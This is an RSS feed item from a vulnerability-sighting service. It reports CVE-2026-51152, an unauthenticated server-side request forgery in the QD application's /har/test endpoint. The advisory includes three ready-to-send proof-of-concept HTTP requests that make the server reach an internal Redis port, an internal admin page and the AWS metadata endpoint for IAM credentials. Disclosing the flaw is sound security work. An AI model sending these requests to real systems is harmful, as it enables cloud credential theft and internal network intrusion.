<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent sightings.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent sightings.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 04 Aug 2026 20:45:57 +0000</lastBuildDate>
    <item>
      <title>444bfb17-d11c-4dad-87fc-721fd30ac075</title>
      <link>https://vulnerability.circl.lu/sighting/444bfb17-d11c-4dad-87fc-721fd30ac075/export</link>
      <description>{"uuid": "444bfb17-d11c-4dad-87fc-721fd30ac075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://gist.github.com/kurokoleung/98e950e3e05205fc57d2029ad68a702e", "content": "[CVE ID]\nCVE-2026-51152\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nServer-side request forgery (SSRF)\n\n[DESCRIPTION]\nQD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1. Basic SSRF \u2014 probe internal Redis service ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 373\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://127.0.0.1:6379/\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 2. Cloud metadata SSRF \u2014 AWS/Meta credential exfiltration ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 385\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 3. Internal network reconnaissance ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 382\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://192.168.1.1/admin/status\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n[REFERENCE]\nhttps://qd-today.github.io/qd/\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:47:39.178526Z"}</description>
      <content:encoded>{"uuid": "444bfb17-d11c-4dad-87fc-721fd30ac075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://gist.github.com/kurokoleung/98e950e3e05205fc57d2029ad68a702e", "content": "[CVE ID]\nCVE-2026-51152\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nServer-side request forgery (SSRF)\n\n[DESCRIPTION]\nQD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1. Basic SSRF \u2014 probe internal Redis service ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 373\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://127.0.0.1:6379/\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 2. Cloud metadata SSRF \u2014 AWS/Meta credential exfiltration ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 385\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 3. Internal network reconnaissance ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 382\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://192.168.1.1/admin/status\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n[REFERENCE]\nhttps://qd-today.github.io/qd/\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:47:39.178526Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/444bfb17-d11c-4dad-87fc-721fd30ac075/export</guid>
      <pubDate>Tue, 28 Jul 2026 08:47:39 +0000</pubDate>
    </item>
  </channel>
</rss>
